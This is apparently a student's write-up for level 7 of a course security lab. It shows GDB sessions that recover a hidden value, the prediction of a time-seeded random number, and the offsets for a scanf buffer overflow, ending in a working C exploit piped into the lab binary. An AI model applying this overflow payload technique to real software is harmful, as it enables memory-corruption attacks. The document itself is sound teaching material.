See the assignment's PDF available on BrightSpace for task descriptions and submission requirements.
Level 7
1) There are a couple vulnerabilities, we've seen all of them before.
Similar to level5, there's a hidden special.h file, containing a function that generates a value. The vulnerability is that the binary contains this file so we can likely find the password. Either - it's a raw hardcoded string/number always the same (we can find using strings ./level7 and/or look at assem.), or it's a generated/obfuscated one like in level5, then we need to use GDB again, make appropriate breakpoints and read the value from the register it should be in at that breakpoint.
Similar to lv4, we see srand(time(NULL));. This means we can run 2 instances of the same program at the same time, with both of them having the same seed. We can look ahead by first running one program, making the program predictable and not random, which defeats the purpose of a random seed.
scanf() similar to gets(), one of the unsafe functions that doesn't check the size of a buffer. More than 16 bytes in stdin, scanf will continue writing in memory.
2) Plan: It's best to first research the secret value, as it stands independent of srand and we need to find out what it is or how to get it. Then we can use that to make a script that runs together and pipes output into the level7 binary that:
1. answers the same math question (the seed will automatically be the same), so the same question and answer
2. calculate / find the secret value of this instance
3. use buffer overflow of scanf to overwrite the 'final' variable with the hidden value (because the script pipes into stdin, whihc is what scanf reads)
To find the hidden value, we run it through gbd like in lv5, and disasemble main and the secret value function. In main the code does this:
int* myvalue = (int*) malloc(sizeof(int)); *myvalue = special_value();
So we do make breakpoint, run, and use 'finish' to see state after the special value function, it should be in eax
(gdb) break special_value Breakpoint 2 at 0x555555555251 (gdb) run Breakpoint 2, 0x0000555555555251 in special_value () (gdb) finish Run till exit from #0 0x0000555555555251 in special_value () 0x00005555555552fc in main ()
(gdb) print/d $eax $1 = 12936
We found the hidden value to be 12936
Now let's analyse / disassemble special_value () to find out if it'll always be 12936

I don't see any RNG/random functions being called, only getuid, which remains the same. Meaning the hidden value is always 12936
Now let's examime the offsets to properly make the payload for the buffer overflow:

Let's break after scan f
(gdb) break *0x0000555555555425 (gdb) run
name buffer starts at 0x30
0x30 = 48
final likely at 0x0c, 12
48 - 12 = 36, so 36 bytes in between. Then 4 more bytes to overwrite final (4 bytes, because it's an int and we see this because hidden val was returned to eax)
We can test the hypthesis by passing 36 A's and 4 B's and reading the stack
(gdb) break *0x0000555555555425 Breakpoint 3 at 0x555555555425 (gdb) run Breakpoint 2, 0x0000555555555251 in special_value () (gdb) c Continuing. Can you please help me solve a difficult problem? 9 * 5 = ? 45 You are very good at maths!
Now the payload and print the stack from the start of the name buffer, and print the stak

9 blocks of 4 A's = 36 A's and 1 block of 4 B's. And after that we see the pointer, we should include that too because scanf ends with a null byte. So that should be after the myvalue padding. This should be correct: to print/overflow
36 bytes of padding (A)
4 bytes hidden value (final)
8 bytes myvalue pointer, so it stays intact (little endian!! the address is 0x5555555592a0)
Here the tool according to plan lv7_crack.c in home folder
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int main() {
//math answer same seed
srand(time(NULL));
int x = rand() % 10;
int y = rand() % 10;
printf("%d\n", x * y);
// 36 A's padding
fwrite("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 1, 36, stdout);
// 4 bytes , the secret, overwrites final
int secret = 12936;
fwrite(&secret, sizeof(int), 1, stdout);
// the pointer
unsigned long long ptr_addr = 0x5555555592a0;
fwrite(&ptr_addr, sizeof(unsigned long long), 1, stdout);
printf("\n");
return 0;
}
compile
gcc ~/lv7_crack.c -o ~/lv7_crack (~/lv7_crack; cat) | /levels/level7/level7